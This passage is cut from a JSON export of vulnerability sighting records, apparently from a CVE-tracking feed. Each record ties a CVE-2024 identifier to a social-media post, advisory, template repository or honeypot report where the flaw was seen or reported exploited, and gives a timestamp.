"https://bsky.app/profile/andranglin.bsky.social/post/3ljwrwxk57k2l", "content": "", "creation_timestamp": "2025-03-09T10:04:07.875574Z"}, {"uuid": "f2967c1e-c379-4bd1-9fc5-ca0058b792b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3ljm3gh452f2j", "content": "", "creation_timestamp": "2025-03-05T03:54:32.852701Z"}, {"uuid": "c28be530-8dd2-4458-aaa0-44f5c97d987c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/calebpr.bsky.social/post/3ljm63jn5tr2x", "content": "", "creation_timestamp": "2025-03-05T04:42:07.883454Z"}, {"uuid": "30b02166-c11a-4c42-9f6d-ca1e97941909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50384", "type": "seen", "source": "https://infosec.place/objects/c215c316-5d1e-4452-b1f8-837a04408ec5", "content": "", "creation_timestamp": "2025-04-02T14:00:14.880264Z"}, {"uuid": "8bd27fd6-1aac-40b2-bb08-b35e51eaef91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50384", "type": "seen", "source": "https://infosec.place/objects/c215c316-5d1e-4452-b1f8-837a04408ec5", "content": "", "creation_timestamp": "2025-04-02T14:00:14.881553Z"}, {"uuid": "0522c9cf-8f01-4960-9b3b-fc385825c9c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50385", "type": "seen", "source": "https://infosec.place/objects/c215c316-5d1e-4452-b1f8-837a04408ec5", "content": "", "creation_timestamp": "2025-04-02T14:00:14.944850Z"}, {"uuid": "78a8c4a4-9fe9-4fd1-a7e0-f98d514097f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50595", "type": "seen", "source": "https://infosec.place/objects/0ac53b9b-a988-4381-a754-afe76a375871", "content": "", "creation_timestamp": "2025-04-02T14:00:22.684892Z"}, {"uuid": "6856d0ec-0570-4f22-9774-9362f1bc48a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50594", "type": "seen", "source": "https://infosec.place/objects/0ac53b9b-a988-4381-a754-afe76a375871", "content": "", "creation_timestamp": "2025-04-02T14:00:22.781123Z"}, {"uuid": "34f90bdb-c282-450e-9adb-b7a26368abaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50279", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lsjt6aau4c2r", "content": "", "creation_timestamp": "2025-06-26T19:08:14.004001Z"}, {"uuid": "7bae9672-3c10-4b0c-b9cf-1ef4efd74e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50385", "type": "seen", "source": "https://infosec.place/objects/c215c316-5d1e-4452-b1f8-837a04408ec5", "content": "", "creation_timestamp": "2025-04-02T14:00:14.935068Z"}, {"uuid": "d7513fc6-fa2a-4601-b1ed-4063563e2cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50595", "type": "seen", "source": "https://infosec.place/objects/0ac53b9b-a988-4381-a754-afe76a375871", "content": "", "creation_timestamp": "2025-04-02T14:00:22.682676Z"}, {"uuid": "57928b3b-29bf-4fd7-9b20-531c2ba99865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50594", "type": "seen", "source": "https://infosec.place/objects/0ac53b9b-a988-4381-a754-afe76a375871", "content": "", "creation_timestamp": "2025-04-02T14:00:22.752450Z"}, {"uuid": "ff0017dc-bced-4b13-b9e5-e51ef138730f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50596", "type": "seen", "source": "https://infosec.place/objects/4077c091-5b83-4d8b-a78f-12aa15a3ce38", "content": "", "creation_timestamp": "2025-04-02T14:00:28.345322Z"}, {"uuid": "fa4693b6-118e-4df4-9f82-c03f33e81a39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50597", "type": "seen", "source": "https://infosec.place/objects/4077c091-5b83-4d8b-a78f-12aa15a3ce38", "content": "", "creation_timestamp": "2025-04-02T14:00:28.406846Z"}, {"uuid": "d8618f39-53b1-4a29-a498-23f774831dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50596", "type": "seen", "source": "https://infosec.place/objects/4077c091-5b83-4d8b-a78f-12aa15a3ce38", "content": "", "creation_timestamp": "2025-04-02T14:00:28.341528Z"}, {"uuid": "91d74832-3579-43fc-af3b-f701a318dce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50594", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuidbvu324", "content": "", "creation_timestamp": "2025-04-02T17:02:00.960032Z"}, {"uuid": "58c18c90-ca77-4e3d-b054-1c5976ed2671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50595", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuidlv6t24", "content": "", "creation_timestamp": "2025-04-02T17:02:01.741359Z"}, {"uuid": "556916df-7b0e-4ac7-92a0-e2dd4ed513e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50385", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuidpl4v2n", "content": "", "creation_timestamp": "2025-04-02T17:02:02.377019Z"}, {"uuid": "ef0ca7de-784e-4402-8486-8fe264596f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50596", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuidt73w2j", "content": "", "creation_timestamp": "2025-04-02T17:02:03.026500Z"}, {"uuid": "8e53aa33-1587-41ff-afc0-cf0607710b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuidzcwa2o", "content": "", "creation_timestamp": "2025-04-02T17:02:04.176940Z"}, {"uuid": "62e15301-b6de-4e2b-a24e-2601936b7466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lltuie5qbd26", "content": "", "creation_timestamp": "2025-04-02T17:02:04.688700Z"}, {"uuid": "ae4d7151-6068-4916-ae10-3bff76fa7e81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/mytechnotalent.bsky.social/post/3lmcknqmpx22d", "content": "", "creation_timestamp": "2025-04-08T13:16:05.939182Z"}, {"uuid": "f58397d8-d916-4d4f-a532-63ed6aee9223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50565", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmcygflyel2g", "content": "", "creation_timestamp": "2025-04-08T17:22:33.547900Z"}, {"uuid": "10a0e87f-a352-4918-86d6-0d956158c651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-15)", "content": "", "creation_timestamp": "2025-05-15T00:00:00.000000Z"}, {"uuid": "bc329558-4389-432e-97d6-92a95901f2e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50631", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-213/", "content": "", "creation_timestamp": "2025-04-09T03:00:00.000000Z"}, {"uuid": "6490a076-1912-4f51-9026-5c3291115e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50630", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-212/", "content": "", "creation_timestamp": "2025-04-09T03:00:00.000000Z"}, {"uuid": "67778b09-3005-4892-91cf-38698fd3a2be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-211/", "content": "", "creation_timestamp": "2025-04-09T03:00:00.000000Z"}, {"uuid": "7b594eba-b92f-4bfe-ae70-e792faf19e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50127", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lska34c7x22r", "content": "", "creation_timestamp": "2025-06-26T22:59:08.044509Z"}, {"uuid": "8d6b0ff5-123e-484c-8dff-6e4ed61d7320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lmhmocd5xh2o", "content": "", "creation_timestamp": "2025-04-10T13:35:26.070746Z"}, {"uuid": "521a87ce-965f-4e5c-80ed-265a4dcd8e60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50565", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmhnoykchc2y", "content": "", "creation_timestamp": "2025-04-10T13:53:44.216790Z"}, {"uuid": "25627f27-a42a-43e5-b96b-2aded3bc810c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lminmwkleh2g", "content": "", "creation_timestamp": "2025-04-10T23:25:13.882151Z"}, {"uuid": "06b92353-1c1d-4151-a0e4-862ce8eb1b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltfoohkbqk2c", "content": "", "creation_timestamp": "2025-07-07T21:02:22.998370Z"}, {"uuid": "c004b2e0-ad84-4355-90c3-f75df7ee3cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-ea7a5b86-11cff497d0049949", "content": "", "creation_timestamp": "2025-04-11T10:04:40.795723Z"}, {"uuid": "1869b006-ddd5-4060-b8c9-b568a4c3754e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://gist.github.com/webmutation/894dd1a9a17615b7469198bb18bc3a16", "content": "", "creation_timestamp": "2025-04-12T00:10:16.000000Z"}, {"uuid": "ac35f149-7a41-491c-9003-0261e95d99fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3lqbjkjf56s2y", "content": "", "creation_timestamp": "2025-05-29T01:04:26.245956Z"}, {"uuid": "a56acef6-7486-402a-97de-a967d019f585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-07)", "content": "", "creation_timestamp": "2025-06-07T00:00:00.000000Z"}, {"uuid": "fa2b7d9b-d400-47c6-a47e-6c2d38721070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50562", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lrziyn2nql2b", "content": "", "creation_timestamp": "2025-06-20T07:23:32.237844Z"}, {"uuid": "3ec1d0ca-4bd8-459f-a17a-528dae284654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3lmufq36wtc2u", "content": "", "creation_timestamp": "2025-04-15T15:35:50.386224Z"}, {"uuid": "7ec08d9b-34dd-4a60-9528-9b9dc2a6da56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50960", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmuqam5cfk2z", "content": "", "creation_timestamp": "2025-04-15T18:44:06.276525Z"}, {"uuid": "e5947c56-1988-4fe6-bb60-24c5c7c80d7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqgojs324f2w", "content": "", "creation_timestamp": "2025-05-31T02:16:49.418551Z"}, {"uuid": "d91ab4af-ded3-4314-a322-bca1f5c9ed86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50672", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmxigz4uyv2t", "content": "", "creation_timestamp": "2025-04-16T21:02:27.394419Z"}, {"uuid": "2d697371-f22d-47a9-a0a5-1180ca49e72a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lmzeef2vds26", "content": "", "creation_timestamp": "2025-04-17T14:54:41.937800Z"}, {"uuid": "cfdb2179-22e4-4241-9176-def5ffea8d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lmzeeg7bfs26", "content": "", "creation_timestamp": "2025-04-17T14:54:42.446580Z"}, {"uuid": "f97aed47-57e6-46aa-9895-7bf303cb2f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50602", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114360724984751686", "content": "", "creation_timestamp": "2025-04-18T19:56:20.566137Z"}, {"uuid": "77b8a5f5-ff71-48cb-b257-b1a05ae634b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50477", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltkpmb3nym23", "content": "", "creation_timestamp": "2025-07-09T21:02:21.856890Z"}, {"uuid": "fb013de8-5dff-49f0-9a2b-a44bd30011c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50334.yaml", "content": "", "creation_timestamp": "2025-07-05T02:03:26.000000Z"}, {"uuid": "81b83c6f-c1fe-4b82-8aa0-d6252b450524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lrbs3rr7yp2v", "content": "", "creation_timestamp": "2025-06-10T21:02:34.770124Z"}, {"uuid": "b5ee001d-5092-4a31-b70f-600511381c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqoa53q2yt2a", "content": "", "creation_timestamp": "2025-06-03T02:20:28.890708Z"}, {"uuid": "f6613270-93dc-4679-b1fa-dbd33b93ca80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50602", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:41.062686Z"}, {"uuid": "c9f002b8-cab1-4469-ab7f-e6feb1c932d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "content": "", "creation_timestamp": "2025-06-26T00:00:00.000000Z"}, {"uuid": "98c5c2b4-5a01-42f1-99a3-2e905855037f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "content": "", "creation_timestamp": "2025-06-26T00:00:00.000000Z"}, {"uuid": "848e99a8-6264-40d3-a7e5-0b5e4d891148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3lq63lxwbu52n", "content": "", "creation_timestamp": "2025-05-27T16:16:43.466544Z"}, {"uuid": "a4b0a290-830b-4e28-8cd4-9e2bcddb7fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50246", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "ca6d107c-534e-4743-96bc-1b53db4c1f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3lqd7w6q3gs2y", "content": "", "creation_timestamp": "2025-05-29T17:17:19.981839Z"}, {"uuid": "2eb697af-70ec-460f-b7ce-55096b5a52c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3lqd7z2oau22y", "content": "", "creation_timestamp": "2025-05-29T17:18:56.150017Z"}, {"uuid": "c693e298-5b9f-48fc-b38a-29f819fea66b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqdagybd7n2a", "content": "", "creation_timestamp": "2025-05-29T17:26:43.659280Z"}, {"uuid": "8faf06a8-87cb-4a66-baa4-40ed62da9447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqdak6inwt2n", "content": "", "creation_timestamp": "2025-05-29T17:28:30.684866Z"}, {"uuid": "a2db4111-d85f-4a4e-81d3-5fb2dac178c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://notnow.dev/objects/ca98a628-5cb9-4e57-a8fe-6e66a888173c", "content": "", "creation_timestamp": "2025-04-26T15:48:16.047404Z"}, {"uuid": "3893a32a-5f37-4473-a7e3-b1bbada7daf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1213", "content": "", "creation_timestamp": "2026-07-10T00:00:34.636900Z"}, {"uuid": "ae734840-ed2f-4c3b-9190-0ed75d2af2a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1217", "content": "", "creation_timestamp": "2026-07-10T00:00:34.417379Z"}, {"uuid": "c8fae9b4-99e3-4e0a-9a6a-ff132ebc79b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1226", "content": "", "creation_timestamp": "2026-07-10T00:00:34.295751Z"}, {"uuid": "4a11096c-6beb-479c-87e9-5ec680b7a5ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/brutsecurity/1279", "content": "", "creation_timestamp": "2026-07-10T00:00:34.251316Z"}, {"uuid": "f0e42948-4a16-4691-8b09-39b88b8b2710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqj7m3wi7j2s", "content": "", "creation_timestamp": "2025-06-01T02:27:39.866014Z"}, {"uuid": "7a1eb07b-53f5-44f4-a804-18e5217a96fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50125", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lsmfkxk22k2c", "content": "", "creation_timestamp": "2025-06-27T19:42:47.606620Z"}, {"uuid": "7c87bd92-cd57-47d6-97bd-82ec53111207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lsrkwzzj4g26", "content": "", "creation_timestamp": "2025-06-29T21:02:19.091536Z"}, {"uuid": "78f46741-bd34-43f1-b442-4a04f7181b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqe64gjdrg2z", "content": "", "creation_timestamp": "2025-05-30T02:17:41.915461Z"}, {"uuid": "71aa1c53-90d4-4664-a4f3-e207079fff04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqtazbx3dj2r", "content": "", "creation_timestamp": "2025-06-05T02:19:33.669263Z"}, {"uuid": "a84dd1e3-b01c-4d87-97de-2cb181fe4783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqlpry5frg2u", "content": "", "creation_timestamp": "2025-06-02T02:22:36.448035Z"}, {"uuid": "c049293e-4e3c-4227-83d8-274c32d082f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50115", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lptxsxjmtk2j", "content": "", "creation_timestamp": "2025-05-23T15:42:29.684978Z"}, {"uuid": "5c0c1fff-f8ee-4239-8424-7bc0aca5c5eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114779416038120432", "content": "", "creation_timestamp": "2025-07-01T18:34:58.800443Z"}, {"uuid": "524d9057-2837-43f3-bc8f-ddecdebc3cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50562", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ls5h7of2zt24", "content": "", "creation_timestamp": "2025-06-21T21:02:26.240012Z"}, {"uuid": "bf0ee9b4-9475-4571-96a4-1f9be8b57ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lswu4akkvs2p", "content": "", "creation_timestamp": "2025-07-01T23:29:38.153226Z"}, {"uuid": "8a950bd9-c268-4a26-8729-3b68b402bb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-04)", "content": "", "creation_timestamp": "2025-07-04T00:00:00.000000Z"}, {"uuid": "01e2b41c-b9ea-4fca-933e-39ad8ff534c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-01)", "content": "", "creation_timestamp": "2025-06-01T00:00:00.000000Z"}, {"uuid": "4c310aaa-600b-4a3d-8ca5-f27be922f2e9", "vulnerability_lookup_origin": 